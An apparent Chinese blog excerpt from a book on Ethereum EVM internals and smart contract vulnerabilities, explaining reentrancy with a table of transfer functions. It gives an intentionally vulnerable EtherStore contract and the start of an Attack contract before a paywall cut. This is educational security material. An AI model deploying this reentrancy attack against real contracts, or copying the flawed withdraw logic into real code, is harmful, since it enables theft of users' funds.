以下都是来自我的新作《解密EVM机制及合约安全漏洞》里的内容
电子版PDF下载:https://download.youkuaiyun.com/download/softgmx/10800947
重入问题
漏洞成立的条件:
- 合约调用带有足够的gas
- 有转账功能(payable)
- 状态变量在重入函数调用之后
| 底层转账函数 |
防重入 |
错误处理 |
| <address>.call.value()() |
NO |
返回false |
| <address>.send() |
YES |
返回false |
| <address>.transfer() |
YES |
Revert stateDB到调用前状态 |
<address>.call.value()的实现:

<address>.send()的实现:

<address>.transfer()的实现:

Transfer能在调用失败时候主动抛出异常的原理:

漏洞案例合约:
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
攻击合约:
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
require(msg.value >= 1 ether);
etherStore.depositFunds.value(1 ether)();
etherStore.withdrawFunds(1 ether);
}
function collectEther() publi

本文深入探讨了智能合约的十大安全漏洞,包括重入问题、变量覆盖、逻辑错误、鉴权问题、整数溢出等。通过实例展示了如何利用这些漏洞进行攻击,如著名的DAO攻击。此外,还提到了拒绝服务攻击、插队攻击、伪随机数问题和以太短地址攻击,强调了对智能合约安全性的重要性和潜在风险。
最低0.47元/天 解锁文章
982

被折叠的 条评论
为什么被折叠?



